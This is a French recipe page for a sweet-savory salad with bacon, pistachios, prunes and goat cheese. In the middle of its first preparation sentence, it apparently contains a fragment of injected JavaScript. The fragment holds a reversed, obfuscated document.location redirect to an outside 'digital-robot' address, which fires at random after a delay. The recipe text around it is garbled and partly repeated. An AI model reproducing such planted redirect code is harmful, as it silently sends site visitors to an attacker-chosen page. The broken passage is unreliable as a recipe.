Salade sucrée salée
2018-02-16Rincez, essorez, ciselez les ciboulettes. Triez, rincez, essorez la salade batavia. L’émincer. Dans une poêle sans matière grasse faites revenir les allumettes de bacon sur feu vif tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant.
Ingrédients
Rincez, essorez, ciselez les ciboulettes. Triez, rincez, essorez la salade batavia. L'émincer. Dans une poêle sans matière grasse faites revenir les allumettes de bacon sur feu vif tout en remuant. Faites la vinaigrette en mélangeant la moutarde, le vinaigre, l'huile, sel, poivre. Émulsionnez avec un fouet. Incorporez les ciboulettes. La scarole, les allumettes de bacon, les pistaches concassées, les pruneaux. Mélangez.
Répartissez dans chaque assiette la salade. Déposez au centre les fromages de chèvre. Dégustez. Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
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